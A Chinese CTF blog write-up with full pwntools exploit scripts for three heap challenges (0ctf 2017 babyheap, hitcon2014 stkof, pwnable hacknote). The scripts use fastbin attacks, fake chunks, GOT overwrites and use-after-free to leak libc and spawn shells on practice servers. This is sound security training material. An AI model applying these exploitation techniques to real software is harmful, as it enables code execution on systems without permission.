0x01 0ctf_2017_babyheap
2023.7.24 国防科技大学 合肥
本题除了fastbin attack,最重要的是伪造fakechunk,使得存放chunk的指针有两个指向同一个地址,达到泄露地址的目的。
突然发现自己之前写过一模一样的题,当时是照着别人的方法写的堆重叠(这次也有借鉴其实……)。
这个方法我愿意称之为double malloc。
from pwn import *
from evilblade import *
context(os='linux', arch='amd64')
#context(os='linux', arch='amd64', log_level='debug')
setup('./2017')
libset('libc-2.23.so')
rsetup('node4.buuoj.cn',28216)
evgdb()
def add(size):
#p.sendlineafter(':','1')
#p.sendlineafter(':',str(size))
sla(':',str(1))
sla(':',str(size))
def edit(idx,content):
sla(':','2')
sla(':',str(idx))
sla(':',str(len(content)))
sla(':',content)
def free(idx):
sla(':','3')
sla(':',str(idx))
def dump(idx):
sla(':','4')
sla(':',str(idx))
add(0x10)#0
add(0x10)#1
add(0x10)#2
add(0x10)#3,改4
add(0x80)#4
add(0x10)#5 申请堆,最后一个防止合并
#先指向,然后申请fake,两次指向,free一次,泄露地址free(1)
free(2)
#pause()
edit(0,b'\x00'*8*3+p64(0x21)+b'\x00'*8*3+p64(0x21)+b'\x80')
edit(3,b'\x00'*8*3+p64(0x21))
add(0x10)#1
add(0x10)#2 fake chunk
#此时2和4都指向一个堆块edit(3,b'\x00'*8*3+p64(0x91))#恢复,获取地址
free(4)#送入unsorted bin
dump(2)#打印
addx = tet()
addx = tet()
addx = tet()
addx = tet()
addx = tet()
addx = tet()
#接收数据,泄露libc地址addx = getx64(-9,-1)
hook = addx-0x68
addx = hook - 0x1430
base = getbase(addx,'_IO_file_jumps')
add(0x80)
add(0x68)
add(0x68)#fastbin attack
free(6)
free(7)
edit(5,b'\x00'*8*3+p64(0x71)+b'\x00'*8*0xd+p64(0x71)+p64(hook-0xb-0x18))
os = base+0x4526a
add(0x68)
add(0x68)
edit(7,b'\x00'*0x13+p64(os))
dp('hook',hex(hook))
add(0x10)
ia()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
0x02 hitcon2014_stkof
hitcon2014_stkof
2023.7.25
自己从昨晚开始看的,今天早上好好逆了一下,独立做出来的一道题。
本题目的关键因为没有dump函数,所以是劫持got表到puts的plt,这是我自己发现的,哈哈哈好厉害!
详细的都在exp里了。
刚才看了一下,这题还有一个办法是unlink。
unlink的作用就是,
当一个bin从记录bin的双向链表中被取下时,会触发unlink。常见的比如:相邻空闲bin进行合并,malloc_consolidate时。unlink的过程如下图所示(来自CTFWIKI)主要包含3个步骤,
根据P的fd和bk获得双向链表的上一个chunk FD和下一个chunk BK
设置FD->bk=BK
设置BK->fd=FD,以此达到修改内存的目的,此题是修改s。
from pwn import *
from evilblade import *
context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')
setup('./sk')
libset('libc-2.23.so')
rsetup('node4.buuoj.cn',27833)
evgdb()
def add(size):
sl(str(1))
sl(str(size))
def edit(idx,content):
sl('2')
sl(str(idx))
sl(str(len(content)))
sd(content)
def free(idx):
sl('3')
sl(str(idx))
def dump(idx):
sl(b'4')
sl(str(idx))
#存在堆溢出漏洞
#打fastbin attack任意内存写
#注意0x7f对应的大小是0x68!!
#注意0x7f对应的大小是0x68!!
#注意0x7f对应的大小是0x68!!
add(0x10)#一个被隔开的,1
add(0x10)#2,控制后面的堆
add(0x68)#3
add(0x68)#4
add(0x10)#5,防止合并
free(3)#
free(4)#释放准备攻击
edit(2,p64(0)*3+p64(0x71)+p64(0)*13+p64(0x71)+p64(0x602140-0x6b-8))
#覆盖为堆指针的上面部分,对其0x7f伪造堆块
add(0x68)#6
add(0x68)#7,fake chunk
edit(7,b'\x00'*(0x6b+8-0x10)+p64(gotadd('free'))+p64(gotadd('puts')))
#free的是为了写,puts的是为了泄露地址
edit(0,p64(pltadd('puts')))#free劫持为puts,用来泄露地址
free(1)#泄露puts的got地址,实际上执行的是puts(putsgot)
for i in range(19):
addx = tet()
#接收泄露地址
addx = getx64(0,-1)
base = getbase(addx,'puts')
sys = symoff('system',base)
edit(0,p64(sys))#free劫持为system
edit(2,'/bin/sh')#写个binsh字符串
free(2)#实际上执行的是system(‘/bin/sh’)
ia()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
发现沉下心来逆一下还是可以理解程序的!!!
0x03 pwnable_hacknote
2023.7.25 还是合肥
pwnable你这个库真骚啊……原来自己过去还有个库。
查了一下
strings libc_32.so.6 |grep Ubuntu
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al.
from pwn import *
from evilblade import *
#context(os='linux', arch='amd64')
context(os='linux', arch='i386', log_level='debug')
setup('./note')
libset('libc_32.so.6')
rsetup('node4.buuoj.cn',26091)
evgdb()
#evgdb('b *0x8048918')
def add(size,content):
#p.sendlineafter(':','1')
#p.sendlineafter(':',str(size))
sla(':',str(1))
sla(':',str(size))
sla(':',content)
def edit(idx, content):
sla(':','2')
sla(':',str(idx))
sa(':',content)
def free(idx):
sla(':','2')
sla(':',str(idx))
def dump(idx):
sla(':','3')
sla(':',str(idx))
add(16,b'a'*8)
add(16,b'b'*8)
free(0)
free(1)
add(8,p32(0x0804862b)+p32(gotadd('puts')))
dump(0)#uaf,修改了本来的堆地址为puts的got表
symoff('puts')
#addx = tet()
addx = getx32(-13,-9)
base = getbase(addx,'puts')
sys = symoff('system',base)
#走投无路了,看了别人题解,居然是用;绕过
#因为本来是把自己当成参数,但是没有\0截断,会读到下面,于是
#用;绕过加一个sh执行system('sh\x00'),牛的,而且刚好四个字节
free(2)
add(8,p32(sys)+b';sh\x00')
dump(0)
ia()
标签:p64,idx,独奏者,free,序章,add,str,wp,sla
From: https://www.cnblogs.com/9man/p/17582180.html